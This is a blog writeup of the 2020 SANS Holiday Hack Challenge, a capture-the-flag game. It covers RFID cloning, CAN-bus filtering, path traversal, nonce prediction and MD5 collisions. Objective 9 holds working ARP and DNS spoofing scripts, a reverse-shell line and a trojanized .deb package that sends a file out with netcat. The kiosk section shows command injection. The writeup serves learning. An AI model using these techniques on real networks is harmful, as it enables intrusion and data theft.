好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

2020 SANS Holiday Hack Challenge writeup (English)

I participated the 2020 SANS Holiday Hack Challenge ~ KringleCon 3 ~ which held from around 11th December 2020 to 11th January 2021.

f:id:kusuwada:20210110065821p:plain:w400

The prize term was over, but the challenge site is still working (I guess it's until November 2021?). So I recommend you to register and join this world if you haven't yet.

I usually write the writeups of CTF in Japanese, but this time, I wrote the report in English and submitted it to the SANS. I also write in Japanese, so if you prefer in Japanese, please check below.

tech.kusuwada.com

Through these challenges, I can experienced the light techniques of "CAR hacking", "RFID hacking", "ARP&DNS spoofing", "Create malware", "Blockchain hacking", and so on. How nice that we can enjoy these challenges with free and play as a game! It was an awesome experience for me, and I would like to express my sincere gratitude to everyone involved in planning and organizing this event, creating the challenges, and managing the site during the holidays.

I found and achieved

  • 12 Objectives
  • 27 achievements
  • 7 narratives

f:id:kusuwada:20210110062808p:plain

f:id:kusuwada:20210110062813p:plain

I think that's all.

Now, start my report.

Objectives

1) Uncover Santa's Gift List

I got the bottom left image from the Signboard of the entry of this world.

f:id:kusuwada:20210110062751p:plain

From hints, I guessed the screwed letters on the paper should be re-screwed and to be deciphered. Then, I used photopea.com site to re-screw this image, and read the original letters.

f:id:kusuwada:20210110062818p:plain

it seems

My Presonal Gift List:

Ed - Two Front Teeth
?An - OU Jersey
?remy - Blanket
Brian - bei?
Josh Wright - Proxmark
Clag - Darth Vader Suit
Tad - Holiday bights?
Phil - Stuffed Pikachu
Jerry - Trip to North Pole

So, the gift for Josh is Proxmark.

2) Investigate S3 Bucket

I can get the list of buckets, which I specified the name in wordlist. After check this tool several times, I guessed that the Wrapper3000 is suspicious bucket name which noticed by the terminal comment.
Then, adding Wrapper3000 to wordlist, and exec bucket_finder.rb with wordlist, then I had the response below.

http://s3.amazonaws.com/wrapper3000
Bucket Found: wrapper3000 ( http://s3.amazonaws.com/wrapper3000 )
        <Public> http://s3.amazonaws.com/wrapper3000/package

So, public S3 bucket is found! Then, access to the URL and download the file. The file seems to be base64 encoded. And when base64 decode, the file format is zip.

$ cat package | base64 -D > package.zip
$ file package.zip
package.zip: Zip archive data, at least v1.0 to extract
$ unzip package.zip
$ file package.txt.Z.xz.xxd.tar.bz2
package.txt.Z.xz.xxd.tar.bz2: bzip2 compressed data, block size = 900k
...

Still wrapped...! Then, I unwrap the file with zip -> tar -> xxd -> 7z -> compress'd data 16 bits. At last, I got North Pole: The Frostiest Place on Earth text, and this is the answer of this Objective.

3) Point-of-Sale Password Recovery

I got santa-shop.exe from an elf. This is the PE file.
First, I decompressed the exe file, and got many files. I greped password like this.

$ grep -ri password .
Binary file ./app-64/locales/it.pak matches
Binary file ./app-64/resources/app.asar matches
...
Binary file ./nsis7z.dll matches

I found the asar file which mentioned in the Hints. Then, I tried ASAR tool with guide, extract the codes from this asar file.

$ npm install -g asar
$ asar extract app.asar santa-shop-src
$ tree santa-shop-src/
santa-shop-src/
├── README.md
├── img
│   ├── ...
├── index.html
├── main.js
├── ...

I found the password in main.js.

const SANTA_PASSWORD = 'santapass';

4) Operate the Santavator

I understood that I have to supply the white energy to all lights bulbs using items which I picked.
I used 3 light bulbs, 2 nuts, and 1 candycane like this. Other items are unused.

f:id:kusuwada:20210110062844p:plain

5) Open HID Lock

From Bushy Evergreen's hints, I guessed that this challenge is bout RFID hacking. I've picked up "Proxmark3" item somewhere, and I could use it. The essential cheat sheet was very useful for me.
I started the Proxmark3 terminal, and tried some commands in the CheatSheet. And, I guessed I have to gather the other's tag information in the castle, and open the locked door.

The locked door was found soon. I gathered other's tag information by

pm3 --> lf hid read

command on Proxmark3 terminal. I found 7 tags. Then I back to the locked door, and simulated tags by

pm3 --> lf hid sim -w Kastle --fc 113 --cn {CardID}

When I tried ID 6000, the door lock opened.

6) Splunk Challenge

The Objective goal is answer the "Challenge Question". Before that, I should train myself via seven "Training Questions".

Training 1

I throw given query from Alice to the Splunk search.

| tstats count where index=* by index

Then, I got 26 results. Because it was completely new to me, I wondered what number to count. But I found that MITRE ATT&CK ID is like the record's pattern, and guess that I should count the txxx-main or txxx-win count. The count is 14, but t1059 is tried twice, so the distinct count is 13.

Training 2

From the search results from Training 1, I guess the answer is t1059.003-main t1059.003-win.

Training 3

Inspired by the Hint from Alice, I checked the Atomic Red Team repository. There's many attack information.
I tried the Repository search with the word MachineGuid, then I found Registory key in T1082.yaml.

The answer is HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography.

Training 4

I have to search the first OSTAP related atomic test record. I searched with query below.

index="attack"
| search OSTAP

Then, I got 4 records. The first record's timestamp is 2020-11-30T17:44:15Z. That's the answer.

Training 5

I checked frgnca's GitHub repositories. There's 8 repositories there, and one repository is stared many. I searched the AudioDeviceCmdlets word in red team's repository, and found T1123.yml.

attack_technique: T1123
display_name: Audio Capture
atomic_tests:
- name: using device audio capture commandlet
  auto_generated_guid: 9c3ad250-b185-4444-b5a9-d69218a10c95
  description: |
    [AudioDeviceCmdlets](https://github.com/cdhunt/WindowsAudioDevice-Powershell-Cmdlet)
  supported_platforms:
  - windows
  executor:
    command: |
      powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet
    name: powershell

I thought the words WindowsAudioDevice-Powershell-Cmdlet and ProcessID are useful to search, so I tried this with time sort.

index="*-win"
| search WindowsAudioDevice-Powershell-Cmdlet, ProcessID
| sort _time

f:id:kusuwada:20210110062825p:plain

The answer is 3648

Training 6

I found the attack list in the red team's github repository (atomic-red-team/atomics/Indexes/Indexes-CSV/windows-index.csv). I search Registry Run Key in this file, and found the related attack is T1547-001.

I searched in splunk like

index="t1547.001-win"
| search command
| sort 1 -_time

and throw the commands to the answer, but nothing hits.

Then, I changed my plan. I found this yaml in the red team's repository T1547.001.yaml. And I tried the batches which stated in this yaml in order.

When I tried the last command of /ARTifacts/Misc/Discovery.bat which stated in PowerShell Registry RunOnce, the answer was accepted.

The answer is quser.

Training 7

At first, I tried the query which Alice told. And more, the left menu of the splunk site, I found sourcetype item and there's 10 items. In the sourcetype, the x509-related one is bro:x509:json. So I added this in the query.

index=* sourcetype=bro:x509:json

The search result is,

{ [-]
   certificate.exponent: 65537
   certificate.issuer: CN=win-dc-748.attackrange.local
   certificate.key_alg: rsaEncryption
   certificate.key_length: 2048
   certificate.key_type: rsa
   certificate.not_valid_after: 2021-05-29T01:08:57.000000Z
   certificate.not_valid_before: 2020-11-27T01:08:57.000000Z
   certificate.serial: 55FCEEBB21270D9249E86F4B9DC7AA60
   certificate.sig_alg: sha256WithRSAEncryption
   certificate.subject: CN=win-dc-748.attackrange.local
   certificate.version: 3
   id: Fen0DH2KtOxQwt4BFk
   ts: 2020-11-30T21:03:50.409634Z
}

The answer is certificate.serial of this. 55FCEEBB21270D9249E86F4B9DC7AA60.

Challenge Question

After clear 7 trainings, I got the Hint from Alice.

The base64 encoded ciphertext is:

7FXjP1lyfKbyDK/MChyf36h7

It's encrypted with an old algorithm that uses a key. We don't care about RFC 7465 up here! I leave it to the elves to determine which one!

I checked the RFC 7465, and found that is about RC4. Then, the cipher is RC4. But RC4 needs Passphrase(key). When re-read Allice's hint, I noticed she mentioned about passphrase. She said

using your favorite phrase

I recall that some elf says "Santa always says" something. So I check the elves's talk, and found the phrase.

Hey Santa… I’ve noticed that lately, you’ve been telling everyone to “Stay frosty.” What’s that all about?

The RC4 key is Stay frosty. I decoded this cipher using Cyberchef, the recipi was Base64 decode -> RC decode with key Stay frosty

f:id:kusuwada:20210110062829p:plain

The answer is: The Lollipop Guild

7) Solve the Sleigh's CAN-D-BUS Problem

I went to the rooftop and checked the Santa's Sled.

f:id:kusuwada:20210110062854p:plain

It seems CAN-BUS protocol hacking, and like CAR(sled) hacking! What a fun! I solved CAN-Bus Investigation (terminal) before that, and it was the preparation of this Objective challenge. In the right lane, the green log is running. I can check the commands from this lane. The left lane is control the Sled. And central lane is filtering the command, I guess.

First, I filtered commands with high flow rate. And tried Stop and Start.

Stop  -> 02A#0000FF
Start -> 02A#00FF00

It seems works fine :)
From the hint, the Door Lock is something wrong.

Lock   -> 19B#000000000000
Unlock -> 19B#00000F000000

But same 19B# command, the 19B#0000000F2057 is continue to run. So I filtered this suspicious command.

019B Equals  0000000F2057

Next is about brake. When I change the brake level, there suspicious commands are mixed in like below.

080#FFFFF8
080#000008
080#FFFFF0
080#000012
080#FFFFFD
080#FFFFF0

The suspicious command is variable in certain range, so I filtered these suspicious command by range.

080  Less    FFFFFFFFFFFF

Then, the sled works fine!

8) Broken Tag Generator

The Tag Generator was at 1.5F, and I jumped to the standalone site.
I got the hints from Holly Evergreen, and I read them carefully. The goal of this oovjective is, get the environment variable of GREETZ.

There's the file upload function. Usually, this function has some vulnerability... So, I tried to upload some kinds of file, and check the Browser console and Network.

When I uploaded non-image file, I got the error message below.

Error in /app/lib/app.rb: Unsupported file type: /tmp/RackMultipart20201224-1-pljfzz.txt

Oh, the source code path is /app/lib/app.rb!
The normal response of the upload API is like this.

Content-Type: application/json
body:
["877e914a-b19d-4de5-b7bb-9c656fc8ff3c.jpg"]

And, I found the next API called is,

https://tag-generator.kringlecastle.com/image?id=877e914a-b19d-4de5-b7bb-9c656fc8ff3c.jpg

Yes, the image get url is

/image?id={filename}

Then, from hints, can I get the source code?

$ curl https://tag-generator.kringlecastle.com/image?id=../../app/lib/app.rb --output app.rb
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  4886  100  4886    0     0   8586      0 --:--:-- --:--:-- --:--:--  8571

Yes, I got /app/lib/app.rb!!
I guess that by uploading malicious file, force to print the environments to somewhere, and downloading it is the possible answer. But, I tried to download already exist files which may have environment variable.

First, I tried etc/environmnet, /etc/profile, and some other files. But no GREETZ there.

The idea came up with my head that I can use /proc/$$/environ, which shows the environments of currently running process. I tried that.

$ curl https://tag-generator.kringlecastle.com/image?id=../../proc/$$/environ
<h1>Something went wrong!</h1>

<p>Error in /app/lib/app.rb: Route not found</p>

This didn't work. How about specify the PID?

$ curl https://tag-generator.kringlecastle.com/image?id=../../proc/1/environ --outpu pid1
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   399  100   399    0     0    726      0 --:--:-- --:--:-- --:--:--   725

I can download something! I check the data.

$ strings pid1 | grep GREETZ
GREETZ=JackFrostWasHere

And found the environment value! The answer is JackFrostWasHere.

9) ARP Shenanigans

I went to the Roof floor, and started ARP Shenanigans terminal. The goal of this Objective is, get the /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt document from the 10.6.6.35 web service.
Because Jack is hacking this site, we can't access to this site from the beginning.

After checking the HELP.md and directories, I started with checking the network.

$ tcpdump -nni eth0
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
22:41:36.666897 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
22:41:37.702943 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
...

The ARP request is going on and on. 10.6.6.35 looks who-has request to 10.6.6.53. The first step is should be return fake information to this request, and lead it to connect to our own MAC address.
I edited the sample arp_resp.py as below. (I noticed later that I can re-write the target's table only by continue to send the spoofed packet, because ARP is UDP.)

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid

# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
print('[Initial] our eth0 mac: ' + macaddr)

def getmac(targetip):
    arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
    targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
    return targetmac

def arp_resp(target_ip, target_mac, gateway_ip, gateway_mac):
    ether_resp = Ether(dst=target_mac, type=0x806, src=gateway_mac)
    arp_response = ARP(pdst=target_ip)
    arp_response.op = 2
    arp_response.plen = 4
    arp_response.hwlen = 6
    arp_response.ptype = 2048
    arp_response.hwtype = 1
    arp_response.hwsrc = gateway_mac
    arp_response.psrc = gateway_ip
    arp_response.hwdst = target_mac
    arp_response.pdst = target_ip
    response = ether_resp/arp_response
    sendp(response, iface="eth0")

def handle_arp_packets(packet):
    target_ip = packet.psrc
    target_mac = packet.src
    gateway_ip = packet.pdst
    #gateway_mac = getmac(packet.pdst)
    arp_resp(target_ip, target_mac, gateway_ip, macaddr)

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    print('start to return fake packets.')
    while True:
        sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)

if __name__ == "__main__":
    main()

Then, I run this script one window, and check the packets in anorhre window.

$ tcpdump -nni eth0 not arp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
07:03:06.937760 IP 10.6.6.35.37439 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.009679 IP 10.6.6.35.59793 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.081679 IP 10.6.6.35.48730 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.149884 IP 10.6.6.35.5313 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
07:03:07.237706 IP 10.6.6.35.54615 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)

I got non-ARP packets, but DNS Query packets!
Then, I check the DNS Query packet with editing dns_resp.py. And guess that I should return my IP address with spoofing packet.

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):
    eth = Ether(src=macaddr, dst=packet.src)
    ip  = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed)
    udp = UDP(dport=packet.sport, sport=packet.dport)
    redirect_to = ipaddr
    dns = DNS(
        id=packet[DNS].id, qd=packet[DNS].qd, aa = 1, qr=1, \
        an=DNSRR(rrname=packet[DNS].qd.qname,  ttl=10, rdata=redirect_to)
    )
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")
    return

def main():
    while 1:
        berkeley_packet_filter = " and ".join( [
            "udp dst port 53",                              # dns
            "udp[10] & 0x80 = 0",                           # dns request
            "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
            "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
        ] )
        # sniff the eth0 int without storing packets in memory and stopping after one dns request
        sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)

if __name__ == "__main__":
    main()

Because the DNS Query's src port changes every querey, I need to respond to each and every packet.
Then, I run this script on current window, and check the packets in anorhre window. I tryed to check the packets with only not arp filter at first, and found the packet comes to port 80!

$ tcpdump -nni eth0 port 80
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
07:44:28.199945 IP 10.6.6.35.40942 > 10.6.0.4.80: Flags [S], seq 3658739984, win 64240, options [mss 1460,sackOK,TS val 1514430279 ecr 0,nop,wscale 7], length 0
07:44:28.199991 IP 10.6.0.4.80 > 10.6.6.35.40942: Flags [R.], seq 0, ack 3658739985, win 0, length 0
07:44:29.287845 IP 10.6.6.35.40946 > 10.6.0.4.80: Flags [S], seq 269305815, win 64240, options [mss 1460,sackOK,TS val 1514431367 ecr 0,nop,wscale 7], length 0

Some packets come to my IP's port 80. Then, I checked my 80 port and nothing is running.

$ nc 10.6.0.4 80
(UNKNOWN) [10.6.0.4] 80 (http) : Connection refused

I remember that the HELP.md says how to runnig web server with python. I trieed that on /home/guest directory.

$ python3 -m http.server 80                               
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...                         
10.6.6.35 - - [30/Dec/2020 06:47:41] code 404, message File not found         
10.6.6.35 - - [30/Dec/2020 06:47:41] "GET /pub/jfrost/backdoor/suriv_amd64.deb
 HTTP/1.1" 404

The same request and response are continuing. The request wants to access to pub/jfrost/backdoor/suriv_amd64.deb, so I should prepare for it! And more, If I distribute the malicious .deb file to there, the target would install the package to it's environment and execute the evil commands...!

I read the hint once more, and try to create malicious deb package with this article.

$ mkdir -p tmp/packing
$ cd tmp/packing
$ cp ../../debs/netcat-traditional_1.10-41.1ubuntu1_amd64.deb .
$ dpkg -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb work
$ mkdir work/DEBIAN
$ ar -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb
$ tar Jxfv control.tar.xz ./control
$ tar Jxfv control.tar.xz ./postinst
$ mv control work/DEBIAN/
$ mv postinst work/DEBIAN/

Until this command, I did it as described in the article. From here, in the article uses metasploit, maybe. But I think I don't need to do. This time, I want target to access to my IP address with the information of answer document.
So, I have to do is only add the evil shell command on postinst file.

I tried to embed some reverse-shell command to the postint, like bash -i >& /dev/tcp/10.6.0.6/6666 0>&1 or normal curl command like curl http://10.6.0.6:80/hogehoge. But they didn't effect. At last, I tried to use nc command, and tried "sending and receiving files" method.

In my terminal, I ambushed the access with command

$ nc -nlvp 6666 > NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt

and, embed this command to malicious deb file. (*10.6.0.6 is my current ip address)

nc -nv 10.6.0.6 6666 < /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt

OK, this would works!
Here is rest of my command to create malicious deb file.

$ cd /home/guest/tmp/packing
$ echo "nc -nv 10.6.0.6 6666 < /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt" >> work/DEBIAN/postinst
$ dpkg-deb --build work
$ cp work.deb ../../pub/jfrost/backdoor/suriv_amd64.deb

Then, the HTTP access to /pub/jfrost/backdoor/suriv_amd64.deb is successed, and after a while, the NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt file is send to my ambushed terminal!

$ less NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
/recuse
North Pole Chamber of Commerce, and are not a matter for this Board.  Mrs. Nature made a motion to approve.  Seconded by Mr. Cornelius.  Tanta Kringle recuse
d herself from the vote given her adoption of Kris Kringle as a son early in his
...

So, the answer is Tanta Kringle.

To sum it up, we have to answer the ARP who-is request with our MAC address at first (ARP-spoofing). Next, answer DNS who-has query with our IP address second (DNS-spoofing). Then, create the maricious deb file and distribute this file to the target, and force to access our IP with secret information.

That challenge was very new to me, and one of the most exciting challenge! I'm happy to join this challenge.

10) Defeat Fingerprint Sensor

First, I rode the Santavator and check the cookies and request/responses queries. There's no cookie and the queries can't be taken over to "me".

Then, I guess the checking logic is on client side. So I checked the source code of elevator.kinglecon.com > app.js. And found L354 is the checking logic

hasToken('besanta')

So, I found the token values with Santa form, and there's "besanta" value. Then, I re-formed to "me", and rode the Santavator, and re-write the unused token (like "marble") to "besanta", clicked the fingerprint sensor.

It worked :) I can enter the 3F Santa Office in form of myself.

11a) Naughty/Nice List with Blockchain Investigation Part 1

I played this challenge just after "Snowball" game.
At first, I lost what to do because I have so much information about this challenge. I read the hints which I got from Tangle Coalbox, and read all of the naughty_nice.py comments and source code.

Then, I got it that the given blockchain data is ends at 129996, and I have to predict the nonce of 13000 block.
The nonce is created here.

if self.index == 0:
    self.nonce = 0 # genesis block
else:
    self.nonce = random.randrange(0xFFFFFFFFFFFFFFFF)    

using random function.

I tried to execute the naughty_nice.py's coomment outed sample source, which reads the blockchain data and show first block.

The 128449.pdf is created. 128449 is the first block in this data, and the PDF says

Three time now, Banjamin was seen being a vegan, but never making a big deal out of it.

Elf-on-the-shelf #12595432874979467172

3/24/2020

I can extract all of the block data, but I think it's not intended to do.
At first, I tested that I can use Mersenne twister which I used in Snowball game to predict the nonce. We need only 624 previous values. Then, I use first 624 data for create database, and others for confirmation.

from mt19937predictor import MT19937Predictor
bit = 64

...(naughty_nice.py)

if __name__ == '__main__':
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
    print('-----------------------')
    predictor = MT19937Predictor()
    for i in range(624):
        x = c2.blocks[i].nonce
        predictor.setrandbits(x, bit)
    print('index: ' + str(c2.blocks[i+1].index))
    print('nonce: ' + str(c2.blocks[i+1].nonce))
    print('predi: ' + str(predictor.getrandbits(bit)))

the execution result is:

$ python nonce_predict.py
...
-----------------------
index: 129073
nonce: 14229353351227460080
predi: 14229353351227460080

Now, I can predict the randomo nonce, so continue to predict until index = 130000.

if __name__ == '__main__':
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')
    print('C2: Block chain verify: %s' % (c2.verify_chain(official_public_key)))
    predictor = MT19937Predictor()
    for i in range(624):
        x = c2.blocks[i].nonce
        predictor.setrandbits(x, bit)

    idx = 129073
    while idx < 130000:
        predictor.getrandbits(bit)
        idx += 1
    print(str(idx), hex(predictor.getrandbits(bit)))

result is:

$ python nonce_predict.py
...
130000 0x57066318f32f729d

11b) Naughty/Nice List with Blockchain Investigation Part 2

From hints which elves gave me, I guessed this challenge is about how to create MD5 collision files. Because this blockchain uses MD5 hash for adding next chain, if we can change the block data without changing MD5 hash, the blockchain is not destroyed and they can't notice the block is changed.

At first, I searched the block which Jack had changed by calculating sha256 of blocks(with signature).

# ...(naughty_nice.py)

if __name__ == '__main__':
    # Load pubkey and blockchain data
    with open('official_public.pem', 'rb') as fh:
        official_public_key = RSA.importKey(fh.read())
    c2 = Chain(load=True, filename='blockchain.dat')

    # find Jack's evil block
    JACK_SHA256 = '58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f'
    evil_block = None
    for block in c2.blocks:
        m = hashlib.sha256()
        m.update(block.block_data_signed())
        sha256 = m.hexdigest()
        if JACK_SHA256 == sha256:
            evil_block = block
            block.dump_doc(1)
            block.dump_doc(2)
            break
    print(evil_block)

Then, the index 129459 was hit, and the block had 2 documents, bin and pdf.
I check the PDF file, and there's several messages which applauding Jack Frost. Shinny Upatree said that he didn't write this. So, this PDF must be edited by Jack.

From the question and hints, Jack edited only 4 bytes, and MD5 hash of this block(with signature) didn't change. What I have to do is, find the changed bytes and repair them, and calculate sha256 of original block.

I read carefly the hints, and the documents from hints like this slide, and also this github README. There's several way to create MD5 hash collision. And, I found that the one of hint is unnatural.

If Jack was somehow able to change the contents of the block AND the document without changing the hash... that would require a very UNIque hash COLLision.

Why are they capital-case? When connect the capital-case, I can find UNICOLL, and it's one of the method of creating MD5 collision. Then, I decided to focus on this method.

From the PDF section of the README, I can understand the construction of PDF. And I check the PDF which Jack changed on binary editor, and found that the PDF has 2 Kids sectioins. Then, I changed the reference link to see second Kids (on binary, the value changed from 2 to 3)

f:id:kusuwada:20210110062802p:plain

Then, look the PDF again.

f:id:kusuwada:20210110062840p:plain

Wow!!! There's completely changed! The PDF says how heinous Jack Frost is! This is completely "Naughty" behavior not "Nice" behavior.
I calculated the MD5 of this changed PDF, and the block after replacing the document. But the hash is different as before.

So, I used UNICOLL technique. I minus one the byte data which 1 block away from changed byte(from 1C to 1B), and calculate the MD5 hash of replaced block.

# ...(naughty_nice.py)

if __name__ == '__main__':
    # Load pubkey and blockchain data
    ...

    # find Jack's evil block
    ...

    print(evil_block)
    print('evil_block full_hash: ' + evil_block.full_hash())

    # replace block data and check full_hash
    with open('repair.bin', 'rb') as f:
        repair_bin = f.read()
    with open('repair.pdf', 'rb') as f:
        repair_pdf = f.read()
    evil_block.data[0]['data'] = repair_bin
    evil_block.data[1]['data'] = repair_pdf
    print('evil_block full_hash: ' + evil_block.full_hash())

    # calc sha256
    m = hashlib.sha256()
    m.update(evil_block.block_data_signed())
    sha256 = m.hexdigest()
    print('sha256: ' + sha256)

execution reesult:

$ python solve.py
...
evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84
evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84
sha256: 1adfc6bb0b81d0409b506b1544440b58096790dd272317780bec706f48e79b1e

MD5 hash became same! Unbelievable! The UNICOLL works.

Now, I have to find the other 2 bytes. If the rest 2 bytes can be changed by UNICOLL, my task is to find 1 byte that Jack changed. Now, I recall the Tinsel's talk

Out of nowhere, Jack Frost has this crazy score... positive 4,294,935,958 nice points!

So this blockchain's score avarage is 100~150, I think. And the positive word is unnatural for me. So I checked the score construction.

L167  Naughty = 0
L168  Nice = 1
...
L305          block_data['score'] = 0
L306          block_data['sign'] = Nice

The next data of the score is, sign, and initial value is Nice(=1). The Jack's data is,

     Document Count: 2
              Score: ffffffff (4294967295)
               Sign: 1 (Nice)

OK, I got it. Such evil behavior must be Naughty, not Nice. So I changed this Sign to 0 from 1.
And, same as PDF case, I have to change one more byte of next block. According to the construction of the block data below, the next block is in the bin file.

    def block_data(self):
        s = (str('%016.016x' % (self.index)).encode('utf-8'))
        s += (str('%016.016x' % (self.nonce)).encode('utf-8'))
        s += (str('%016.016x' % (self.pid)).encode('utf-8'))
        s += (str('%016.016x' % (self.rid)).encode('utf-8'))
        s += (str('%1.1i' % (self.doc_count)).encode('utf-8'))
        s += (str(('%08.08x' % (self.score))).encode('utf-8'))
        s += (str('%1.1i' % (self.sign)).encode('utf-8'))
        for d in self.data:
            s += (str('%02.02x' % d['type']).encode('utf-8'))
            s += (str('%08.08x' % d['length']).encode('utf-8'))
            s += d['data']
        s += (str('%02.02i' % (self.month)).encode('utf-8'))
        s += (str('%02.02i' % (self.day)).encode('utf-8'))
        s += (str('%02.02i' % (self.hour)).encode('utf-8'))
        s += (str('%02.02i' % (self.minute)).encode('utf-8'))
        s += (str('%02.02i' % (self.second)).encode('utf-8'))
        s += (str(self.previous_hash).encode('utf-8'))
        return(s)

Then I opend bin file by binary editor, and change here.

f:id:kusuwada:20210110062834p:plain

D6 -> D7, because I minused the Sign data. Then, replace the bin file and calculate sha256 of the block.

# ...(naughty_nice.py)

if __name__ == '__main__':
    # Load keys and blockchain data
    ...

    # find Jack's evil block
    ...
    print('evil_block full_hash: ' + evil_block.full_hash())
    print('evil_block score: ' + str(evil_block.score))
    print('evil_block sign: ' + str(evil_block.sign))

    # replace block data and check full_hash
    print('--------[repair]----------')
    with open('repair.bin', 'rb') as f:
        repair_bin = f.read()
    with open('repair.pdf', 'rb') as f:
        repair_pdf = f.read()
    evil_block.sign = Naughty  # 1 -> 0
    evil_block.data[0]['data'] = repair_bin
    evil_block.data[1]['data'] = repair_pdf
    print('evil_block full_hash: ' + evil_block.full_hash())

    # calc sha256
    m = hashlib.sha256()
    m.update(evil_block.block_data_signed())
    sha256 = m.hexdigest()
    print('sha256: ' + sha256)

The execution result is:

$ python solve.py
evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84
evil_block score: 4294967295
evil_block sign: 1
--------[repair]----------
evil_block full_hash: b10b4a6bd373b61f32f4fd3a0cdfbf84
evil_block score: 4294967295
evil_block sign: 0
sha256: fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb

The MD5 hash is not changed, and sign is changed.
The answer is the value of sha256 in last line.

That was also awesome challenge.
I was very impressed by the fact that it was possible to change so much data without changing a single byte (about PDF), and I was also impressed by the fact that MD5Hash collision data could be manually created. Though the naughty/nice blockchain is using MD5 hash, I was very excited to change the data of the blockchain without destroying the chain...! And, all change is along with the story... So beautiful.

Terminals

Kingle Kiosk

The elves says this terminal has command injection vulneravility. I tried the suspicious function NameeBadge. like that.

Enter your name (Please avoid special characters, they cause some weird errors)...`ls`
 ____________
< welcome.sh >
 ------------
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||

I found that if I use \``, I can run command in the badge shell. Likecat welcome.sh,cat /etc/passwd, and so on. I tried many commands in the`, but can't clear the terminal. Then, I remember that this terminal is near entrance, so I guess no more complex thing is needed. So, I just off the`quate, and try to set command after;`, because it would be recognize as the separator between next command.

Enter choice [1 - 5] 4
Enter your name (Please avoid special characters, they cause some weird errors)...santa; /bin/bash
 ____
< santa >
 ----
  \
   \   \_\_    _/_/
    \      \__/
           (oo)\_______
           (__)\       )\/\
               ||----w |
               ||     ||
   ___                                                      _    
  / __|   _  _     __      __      ___     ___     ___     | |   
  \__ \  | +| |   / _|    / _|    / -_)   (_-<    (_-<     |_|   
  |___/   \_,_|   \__|_   \__|_   \___|   /__/_   /__/_   _(_)_  
_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_|"""""|_| """ |
"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'
Type 'exit' to return to the menu.

It works!

Unescape Tmux

I think this terminal is the preparation for the Objective-9.
The bird named tmux is disappeared. I read the hint, and understood this challenge is about tmux(Terminal Multiplexer) that is a tool for dividing the terminal windows, sessions, and panes.

I listed the runnnig sessions, and restart the latest session.

$ tmux ls
0: 1 windows (created Sat Dec 12 20:40:49 2020) [80x24]
$ tmux a
...........................;ccclooodkOkok0OOx:..''''
.........................':cccllodxxkkkOkxdxx;....''
........................,cccllooddxkOOOkOxoo'.....''
......................';:cclllccllodO0Okkkx;...'''..
.....................:llollclclccccclokc::'.........
...................;ddollllllllcccccccl;............
..................:xdooddoooolclllllolld;...........
.................'xxoodxxxdoooooooxkdooox'..........
